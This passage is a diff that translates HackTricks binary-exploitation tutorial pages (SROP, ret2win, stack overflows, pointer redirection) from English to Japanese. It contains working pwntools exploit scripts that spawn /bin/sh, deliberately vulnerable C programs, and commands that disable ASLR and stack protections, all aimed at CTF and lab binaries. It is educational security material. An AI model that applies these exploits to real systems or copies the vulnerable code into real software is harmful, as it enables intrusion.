to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`. +> ROPチェーンから **`sigreturn`** syscall を呼び出し、**スタックにロードしたいレジスタ値を追加する** ことで、すべてのレジスタ値を **制御** し、したがって例えば `execve` syscall を `/bin/sh` で **呼び出す** ことが可能です。 -Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls: +これは、他のRet2syscallを呼び出すためのパラメータを制御するのがはるかに簡単になる **Ret2syscallの一種** であることに注意してください: {{#ref}} ../rop-syscall-execv/ {{#endref}} -If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): - +興味がある方のために、これは後で値を回復するためにスタックに保存される **sigcontext構造体** です(図は [**こちら**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) から): ``` +--------------------+--------------------+ | rt_sigeturn() | uc_flags | @@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l | __reserved | sigmask | +--------------------+--------------------+ ``` - -For a better explanation check also: +より良い説明については、こちらも確認してください: {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} -## Example - -You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there: +## 例 +[**ここに例があります**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) では、ROPを介してsigneturnへの呼び出しが構築されており(rxaに値`0xf`を入れています)、これはそこからの最終的なエクスプロイトです: ```python from pwn import * @@ -91,9 +88,7 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` - -Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**: - +ここでも[**こちらからのエクスプロイト**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)を確認してください。バイナリはすでに`sigreturn`を呼び出しているため、**ROP**を構築する必要はありません。 ```python from pwn import * @@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload # Drop to an interactive shell target.interactive() ``` - -## Other Examples & References +## その他の例と参考文献 - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) - - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary. +- **スタックに書き込む**ことを可能にし、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。スタックに[**ret2syscall**](../rop-syscall-execv/)を**sigreturn**構造体を介して書き込み、バイナリのメモリ内にあるフラグを読み取ることが可能です。 - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) - - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`). +- **スタックに書き込む**ことを可能にし、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。スタックに[**ret2syscall**](../rop-syscall-execv/)を**sigreturn**構造体を介して書き込むことが可能です(バイナリには`/bin/sh`という文字列があります)。 - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) - - 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell. +- 64ビット、relroなし、canaryなし、nx、pieなし。ガジェットが不足している`gets`関数を悪用したシンプルなバッファオーバーフローで、[**ret2syscall**](../rop-syscall-execv/)を実行します。ROPチェーンは、再度getsを呼び出すことで`.bss`に`/bin/sh`を書き込み、**`alarm`**関数を悪用してeaxを`0xf`に設定し、**SROP**を呼び出してシェルを実行します。 - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) - - 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it. +- 64ビットアセンブリプログラム、relroなし、canaryなし、nx、pieなし。フローはスタックに書き込み、いくつかのレジスタを制御し、システムコールを呼び出し、その後`exit`を呼び出すことを可能にします。選択されたシステムコールは`sigreturn`で、レジスタを設定し、`eip`を移動させて以前のシステムコール命令を呼び出し、`memprotect`を実行してバイナリ空間を`rwx`に設定し、バイナリ空間内のESPを設定します。フローに従って、プログラムは再度ESPに読み込みを呼び出しますが、この場合ESPは次の命令を指しているため、シェルコードを渡すことで次の命令として書き込み、実行します。 - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) - - SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed. +- SROPは、シェルコードが配置された場所に実行権限(memprotect)を与えるために使用されます。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md index ad3191732..437bfe45e 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md @@ -2,10 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Pwntools example - -This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**: +## Pwntoolsの例 +この例では、脆弱なバイナリを作成し、それを悪用します。このバイナリは**スタックに読み込み**、その後**`sigreturn`**を呼び出します: ```python from pwn import * @@ -33,55 +32,49 @@ p = process(binary.path) p.send(bytes(frame)) p.interactive() ``` +## bofの例 -## bof example - -### Code - +### コード ```c #include #include #include void do_stuff(int do_arg){ - if (do_arg == 1) - __asm__("mov x8, 0x8b; svc 0;"); - return; +if (do_arg == 1) +__asm__("mov x8, 0x8b; svc 0;"); +return; } char* vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability - return buffer; +return buffer; } char* gen_stack() { - char use_stack[0x2000]; - strcpy(use_stack, "Hello, world!"); - char* b = vulnerable_function(); - return use_stack; +char use_stack[0x2000]; +strcpy(use_stack, "Hello, world!"); +char* b = vulnerable_function(); +return use_stack; } int main(int argc, char **argv) { - char* b = gen_stack(); - do_stuff(2); - return 0; +char* b = gen_stack(); +do_stuff(2); +return 0; } ``` - -Compile it with: - +コンパイルするには: ```bash clang -o srop srop.c -fno-stack-protector echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR ``` +## エクスプロイト -## Exploit - -The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`. - +このエクスプロイトは、bofを悪用して**`sigreturn`**への呼び出しに戻り、スタックを準備して**`execve`**を呼び出すために`/bin/sh`へのポインタを用意します。 ```python from pwn import * @@ -110,44 +103,40 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` +## sigreturnなしのbofの例 -## bof example without sigreturn - -### Code - +### コード ```c #include #include #include char* vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability - return buffer; +return buffer; } char* gen_stack() { - char use_stack[0x2000]; - strcpy(use_stack, "Hello, world!"); - char* b = vulnerable_function(); - return use_stack; +char use_stack[0x2000]; +strcpy(use_stack, "Hello, world!"); +char* b = vulnerable_function(); +return use_stack; } int main(int argc, char **argv) { - char* b = gen_stack(); - return 0; +char* b = gen_stack(); +return 0; } ``` - ## Exploit -In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**: +セクション **`vdso`** では、オフセット **`0x7b0`** に **`sigreturn`** への呼び出しを見つけることができます:
-Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it: - +したがって、漏洩した場合、バイナリがそれをロードしていない場合は **このアドレスを使用して `sigreturn` にアクセスすることが可能です**: ```python from pwn import * @@ -176,14 +165,13 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` - -For more info about vdso check: +vdsoに関する詳細は次を確認してください: {{#ref}} ../ret2vdso.md {{#endref}} -And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info: +そして、`/bin/sh`のアドレスをバイパスするために、いくつかのenv変数をそれにポイントさせることができます。詳細については: {{#ref}} ../../common-binary-protections-and-bypasses/aslr/ diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 6de6060f2..e73f9ff44 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,35 +4,32 @@ ## What is a Stack Overflow -A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input. +**スタックオーバーフロー**は、プログラムがスタックに割り当てられたよりも多くのデータを書き込むときに発生する脆弱性です。この余分なデータは**隣接するメモリ空間を上書き**し、有効なデータの破損、制御フローの混乱、そして潜在的には悪意のあるコードの実行を引き起こします。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によってしばしば発生します。 -The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**. +この上書きの主な問題は、**保存された命令ポインタ (EIP/RIP)** と**保存されたベースポインタ (EBP/RBP)** が前の関数に戻るために**スタックに保存されている**ことです。したがって、攻撃者はそれらを上書きし、**プログラムの実行フローを制御**できるようになります。 -The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack. +この脆弱性は通常、関数が**スタックに割り当てられたバイト数よりも多くのバイトをコピーする**ために発生し、他のスタックの部分を上書きできるようになります。 -Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one. - -For example, the following functions could be vulnerable: +これに脆弱な一般的な関数には、**`strcpy`, `strcat`, `sprintf`, `gets`**などがあります。また、**`fgets`**、**`read` & `memcpy`**のように**長さ引数**を取る関数も、指定された長さが割り当てられたものより大きい場合に脆弱な方法で使用される可能性があります。 +例えば、以下の関数が脆弱である可能性があります: ```c void vulnerable() { - char buffer[128]; - printf("Enter some text: "); - gets(buffer); // This is where the vulnerability lies - printf("You entered: %s\n", buffer); +char buffer[128]; +printf("Enter some text: "); +gets(buffer); // This is where the vulnerability lies +printf("You entered: %s\n", buffer); } ``` +### スタックオーバーフローのオフセットを見つける -### Finding Stack Overflows offsets +スタックオーバーフローを見つける最も一般的な方法は、非常に大きな入力の `A`s を与えることです(例: `python3 -c 'print("A"*1000)'`)そして、**アドレス `0x41414141` にアクセスしようとしたことを示す `Segmentation Fault`** を期待します。 -The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**. +さらに、スタックオーバーフローの脆弱性があることがわかったら、**リターンアドレスを上書きするために必要なオフセット**を見つける必要があります。そのためには、通常 **De Bruijn シーケンス**が使用されます。これは、サイズ _k_ のアルファベットと長さ _n_ の部分列に対して、**長さ _n_ のすべての可能な部分列がちょうど一度だけ**連続した部分列として現れる**循環シーケンスです。 -Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence. - -This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it. - -It's possible to use **pwntools** for this: +この方法により、手動で EIP を制御するために必要なオフセットを特定する代わりに、これらのシーケンスの1つをパディングとして使用し、上書きされたバイトのオフセットを見つけることが可能です。 +これには **pwntools** を使用することができます: ```python from pwn import * @@ -44,58 +41,55 @@ eip_value = p32(0x6161616c) offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern print(f"The offset is: {offset}") ``` - -or **GEF**: - +または **GEF**: ```bash #Patterns pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` +## スタックオーバーフローの悪用 -## Exploiting Stack Overflows +オーバーフロー中(オーバーフローサイズが十分大きいと仮定すると)、スタック内のローカル変数の値を**上書き**することができ、保存された**EBP/RBPおよびEIP/RIP(またはそれ以上)**に到達します。\ +この種の脆弱性を悪用する最も一般的な方法は、**戻りアドレスを変更する**ことで、関数が終了すると**制御フローがこのポインタで指定された場所にリダイレクトされる**ことです。 -During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\ -The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer. - -However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges). +しかし、他のシナリオでは、スタック内の**いくつかの変数の値を上書きする**だけで悪用が可能な場合もあります(簡単なCTFチャレンジのように)。 ### Ret2win -In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called: +この種のCTFチャレンジでは、バイナリ内に**決して呼び出されない****関数**があり、**勝つために呼び出す必要があります**。これらのチャレンジでは、**戻りアドレスを上書きするためのオフセット**を見つけ、呼び出す**関数のアドレス**を見つける必要があります(通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/)は無効になります)ので、脆弱な関数が戻ると、隠れた関数が呼び出されます: {{#ref}} ret2win/ {{#endref}} -### Stack Shellcode +### スタックシェルコード -In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code: +このシナリオでは、攻撃者はスタックにシェルコードを配置し、制御されたEIP/RIPを悪用してシェルコードにジャンプし、任意のコードを実行することができます: {{#ref}} stack-shellcode/ {{#endref}} -### ROP & Ret2... techniques +### ROP & Ret2... テクニック -This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary: +このテクニックは、前のテクニックの主要な保護を回避するための基本的なフレームワークです:**実行可能なスタックなし(NX)**。これにより、バイナリ内の既存の命令を悪用して任意のコマンドを実行する他のいくつかのテクニック(ret2lib、ret2syscall...)を実行することができます: {{#ref}} ../rop-return-oriented-programing/ {{#endref}} -## Heap Overflows +## ヒープオーバーフロー -An overflow is not always going to be in the stack, it could also be in the **heap** for example: +オーバーフローは常にスタック内で発生するわけではなく、例えば**ヒープ**内で発生することもあります: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} -## Types of protections +## 保護の種類 -There are several protections trying to prevent the exploitation of vulnerabilities, check them in: +脆弱性の悪用を防ぐためのいくつかの保護があります。詳細は以下を確認してください: {{#ref}} ../common-binary-protections-and-bypasses/ diff --git a/src/binary-exploitation/stack-overflow/pointer-redirecting.md b/src/binary-exploitation/stack-overflow/pointer-redirecting.md index f92bebd28..bb2446752 100644 --- a/src/binary-exploitation/stack-overflow/pointer-redirecting.md +++ b/src/binary-exploitation/stack-overflow/pointer-redirecting.md @@ -1,28 +1,28 @@ -# Pointer Redirecting +# ポインタリダイレクティング {{#include ../../banners/hacktricks-training.md}} -## String pointers +## 文字列ポインタ -If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary. +関数呼び出しがスタックにある文字列のアドレスを使用する場合、バッファオーバーフローを悪用してこのアドレスを**上書きし**、バイナリ内に**別の文字列のアドレス**を置くことが可能です。 -If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary. +例えば、**`system`** 関数呼び出しが**コマンドを実行するために文字列のアドレスを使用する**場合、攻撃者は**スタックに別の文字列のアドレス**、**`export PATH=.:$PATH`**を置き、現在のディレクトリに**新しい文字列の最初の文字の名前のスクリプトを作成**することができます。これにより、バイナリによって実行されます。 -You can find an **example** of this in: +以下に**例**があります: - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c) - [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html) - - 32bit, change address to flags string in the stack so it's printed by `puts` +- 32ビット、スタック内のフラグ文字列のアドレスを変更して`puts`によって印刷されるようにします。 -## Function pointers +## 関数ポインタ -Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**). +文字列ポインタと同様ですが、関数に適用されます。**スタックに呼び出される関数のアドレス**が含まれている場合、それを**変更する**ことが可能です(例:**`system`**を呼び出すために)。 -You can find an example in: +以下に例があります: - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c) -## References +## 参考文献 - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting) diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md index 0cad69c6d..4582ff0f8 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/README.md +++ b/src/binary-exploitation/stack-overflow/ret2win/README.md @@ -2,49 +2,44 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples: +**Ret2win** チャレンジは、特に **バイナリエクスプロイト** を含むタスクにおいて、**Capture The Flag (CTF)** コンペティションで人気のあるカテゴリです。目標は、特定の未呼び出しの関数を実行するために、与えられたバイナリの脆弱性を悪用することです。この関数は通常、`win`、`flag` などの名前が付けられています。この関数が実行されると、通常はフラグや成功メッセージが出力されます。チャレンジは通常、スタック上の **リターンアドレス** を上書きして、実行フローを目的の関数に転送することを含みます。以下は、例を交えた詳細な説明です。 -### C Example - -Consider a simple C program with a vulnerability and a `win` function that we intend to call: +### Cの例 +脆弱性を持つシンプルなCプログラムと、呼び出すことを意図している `win` 関数を考えてみましょう: ```c #include #include void win() { - printf("Congratulations! You've called the win function.\n"); +printf("Congratulations! You've called the win function.\n"); } void vulnerable_function() { - char buf[64]; - gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. +char buf[64]; +gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -To compile this program without stack protections and with **ASLR** disabled, you can use the following command: - +このプログラムをスタック保護なしで、**ASLR** を無効にしてコンパイルするには、次のコマンドを使用できます: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - -- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges). -- `-fno-stack-protector`: Disable protections against stack overflows. -- `-z execstack`: Allow execution of code on the stack. -- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change. -- `-o vulnerable`: Name the output file `vulnerable`. +- `-m32`: プログラムを32ビットバイナリとしてコンパイルします(これはオプションですが、CTFチャレンジでは一般的です)。 +- `-fno-stack-protector`: スタックオーバーフローに対する保護を無効にします。 +- `-z execstack`: スタック上のコードの実行を許可します。 +- `-no-pie`: 位置独立実行可能ファイルを無効にして、`win`関数のアドレスが変更されないようにします。 +- `-o vulnerable`: 出力ファイルの名前を`vulnerable`にします。 ### Python Exploit using Pwntools -For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function. - +エクスプロイトには、エクスプロイトを書くための強力なCTFフレームワークである**pwntools**を使用します。エクスプロイトスクリプトは、バッファをオーバーフローさせ、戻りアドレスを`win`関数のアドレスで上書きするペイロードを作成します。 ```python from pwn import * @@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr p.sendline(payload) p.interactive() ``` - -To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use: - +`win`関数のアドレスを見つけるには、**gdb**、**objdump**、またはバイナリファイルを検査するための他のツールを使用できます。例えば、`objdump`を使用して次のようにできます: ```sh objdump -d vulnerable | grep win ``` +このコマンドは、`win` 関数のアセンブリを表示し、その開始アドレスを含みます。 -This command will show you the assembly of the `win` function, including its starting address. +Python スクリプトは、`vulnerable_function` によって処理されると、バッファがオーバーフローし、スタック上のリターンアドレスが `win` のアドレスで上書きされるように慎重に作成されたメッセージを送信します。`vulnerable_function` が戻ると、`main` に戻るのではなく、`win` にジャンプし、メッセージが表示されます。 -The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed. +## 保護 -## Protections +- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **は無効にするべきです**。そうしないと、アドレスが実行ごとに信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、`win` 関数がどこにロードされているかを把握するために何らかのリークが必要になります。オーバーフローを引き起こす関数が `read` やそれに類似するものである場合、リターンアドレスを `win` 関数に変更するために 1 または 2 バイトの **部分上書き** を行うことができます。ASLR の動作のため、最後の 3 つの16進数ニブルはランダム化されないため、正しいリターンアドレスを取得する確率は **1/16**(1 ニブル)です。 +- [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/) も無効にするべきです。そうしないと、侵害された EIP リターンアドレスは決して追跡されません。 -- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed. - -## Other examples & References +## その他の例と参考文献 - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) - - 32bit, no ASLR +- 32ビット、ASLRなし - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) - - 64 bits with ASLR, with a leak of the bin address +- ASLRありの64ビット、バイナリアドレスのリークあり - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) - - 64 bits, no ASLR +- 64ビット、ASLRなし - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) - - 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow +- 32ビット、ASLRなし、ダブル小オーバーフロー、最初にスタックをオーバーフローさせ、2回目のオーバーフローのサイズを拡大 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) +- 32ビット、relro、カナリアなし、nx、pieなし、`fflush` のアドレスを `win` 関数(ret2win)で上書きするフォーマット文字列 - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html) - - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function +- 32ビット、nx、他に何もなし、`win` 関数を呼び出すための EIP の部分上書き(1バイト) - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html) - - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function +- 32ビット、nx、他に何もなし、`win` 関数を呼び出すための EIP の部分上書き(1バイト) - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - - The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win. +- プログラムは、入力のサイズをチェックするために数値の最後のバイトのみを検証しているため、最後のバイトが許可された範囲内であれば、任意のサイズを追加することが可能です。その後、入力は ret2win を利用したバッファオーバーフローを引き起こします。 - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) - - 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win) +- 64ビット、relro、カナリアなし、nx、pie。`win` 関数(ret2win)を呼び出すための部分上書き - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) - - arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions +- arm64、PIE、`win` 関数は実際には 2 つの関数であるため、2 つの関数を呼び出す ROP ガジェット - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) - - ARM64, off-by-one to call a win function +- ARM64、オフバイワンで `win` 関数を呼び出す -## ARM64 Example +## ARM64 の例 {{#ref}} ret2win-arm64.md diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index 410cf5cf0..bc0152352 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -2,92 +2,80 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +arm64の紹介は以下を参照してください: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Code - +## コード ```c #include #include void win() { - printf("Congratulations!\n"); +printf("Congratulations!\n"); } void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie and canary: - +PIEとカナリアなしでコンパイル: ```bash clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie ``` +## オフセットの特定 -## Finding the offset +### パターンオプション -### Pattern option - -This example was created using 